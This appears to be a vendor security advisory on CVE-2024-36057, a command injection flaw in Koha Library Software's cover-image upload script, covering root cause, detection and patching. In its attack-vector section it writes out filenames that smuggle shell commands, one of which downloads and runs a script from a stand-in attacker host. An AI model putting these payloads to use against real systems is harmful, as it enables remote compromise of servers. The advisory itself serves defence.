CVE-2024-36057: Koha Library Command Injection RCE Flaw

CVE-2024-36057 Overview

CVE-2024-36057 is a critical command injection vulnerability affecting Koha Library Software versions prior to 23.05.10. The vulnerability exists in the upload-cover-image.pl script, which fails to properly sanitize user-controllable filenames before passing them to the system's unzip command. This allows remote attackers to execute arbitrary commands on the server by crafting malicious filenames containing shell metacharacters within uploaded .zip files.

Critical Impact

Remote attackers can achieve complete system compromise through arbitrary command execution on vulnerable Koha Library servers by uploading malicious .zip files with crafted filenames.

Affected Products

• Koha Library Software versions before 23.05.10
• Koha Library Software versions before 22.05.22

Discovery Timeline

• April 7, 2026 - CVE-2024-36057 published to NVD
• April 9, 2026 - Last updated in NVD database

Technical Details for CVE-2024-36057

Vulnerability Analysis

This vulnerability is classified as CWE-94 (Improper Control of Generation of Code / Code Injection). The flaw resides in how the Koha Library application handles file upload operations, specifically in the cover image processing functionality. When a user uploads a .zip file containing cover images, the application extracts the archive using the Perl qx operator, which executes shell commands. The vulnerable code directly interpolates the user-supplied filename into the command string without any sanitization or escaping.

The exploitation path requires an authenticated user to upload a specially crafted .zip file with a filename containing shell metacharacters. When the user subsequently clicks "Process Images," the malicious filename is passed directly to the shell, allowing command injection. This could enable attackers to read sensitive configuration files, establish reverse shells, modify database contents, or pivot to other systems on the network.

Root Cause

The root cause of this vulnerability is the direct interpolation of unsanitized user input into a shell command. The vulnerable line qx/unzip $filename -d $dirname/; in upload-cover-image.pl uses Perl's qx operator (equivalent to backticks) to execute the unzip command. Because the $filename variable contains user-controllable data that is not validated or escaped, shell metacharacters such as semicolons, backticks, or command substitution sequences can break out of the intended command context and execute arbitrary code.

Attack Vector

The attack vector for CVE-2024-36057 is network-based, requiring no prior authentication according to the CVSS vector analysis. An attacker exploits this vulnerability through the following sequence:

1. Attacker creates a .zip archive with a filename containing shell metacharacters (e.g., image$(whoami).jpg or image;id;.jpg)
2. The malicious .zip file is uploaded through the Koha cover image upload interface
3. When "Process Images" is clicked, the application executes the unzip command with the malicious filename
4. Shell metacharacters in the filename are interpreted by the shell, executing the injected commands

The vulnerability mechanism involves insufficient input validation in the file upload handler. When the application constructs the unzip command, it concatenates the filename directly into the command string. For example, a filename like cover;wget http://attacker.com/shell.sh -O /tmp/shell.sh;bash /tmp/shell.sh;.jpg would result in command execution when processed. Technical details and proof-of-concept code are available in the GitHub PoC Repository.

Detection Methods for CVE-2024-36057

Indicators of Compromise

• Unusual filenames in the Koha upload directory containing shell metacharacters such as ;, $(), or backticks
• Unexpected child processes spawned from the web server process during cover image processing
• Web server logs showing POST requests to upload-cover-image.pl with anomalous filename parameters
• Presence of unauthorized files or scripts in system temporary directories following image uploads

Detection Strategies

• Monitor web application logs for requests to upload-cover-image.pl containing shell metacharacters in filename parameters
• Implement file integrity monitoring on Koha installation directories to detect unauthorized modifications
• Configure SentinelOne Singularity to alert on suspicious command execution chains originating from the web server process
• Review uploaded .zip files for filenames containing command injection patterns before processing

Monitoring Recommendations

• Enable verbose logging on the Koha application server to capture all file upload activities
• Configure network intrusion detection systems to inspect HTTP traffic for payloads containing shell metacharacters
• Implement endpoint detection and response monitoring for the web server to identify post-exploitation activities
• Set up alerts for any outbound connections initiated by the web server process to detect potential reverse shell attempts

How to Mitigate CVE-2024-36057

Immediate Actions Required

• Upgrade Koha Library Software to version 23.05.10 or later immediately
• If immediate patching is not possible, disable the cover image upload functionality temporarily
• Review web server logs for any historical exploitation attempts using shell metacharacters in filenames
• Implement web application firewall rules to block requests containing shell metacharacters in file parameters

Patch Information

The Koha community has released security patches addressing this vulnerability. Administrators should upgrade to version 23.05.10 or later, or version 22.05.22 for the older release branch. Detailed release notes are available in the GitLab Release Notes for 23.05.10 and the GitLab Release Notes for 23.05.11. The Koha Community Release Announcement provides additional guidance for upgrading.

Workarounds

• Restrict access to the cover image upload functionality to trusted administrators only until patching is complete
• Implement input validation at the web server or reverse proxy level to reject filenames containing shell metacharacters
• Consider using a web application firewall (WAF) to filter malicious upload requests
• Isolate the Koha server from critical network segments to limit lateral movement in case of compromise

Mitigation involves restricting the upload functionality and implementing proper input sanitization. Administrators should configure their web server to validate uploaded filenames against a whitelist of allowed characters before processing. This can be accomplished through web server configuration rules that reject requests with suspicious filename patterns containing characters like ;, |, $, backticks, or other shell metacharacters.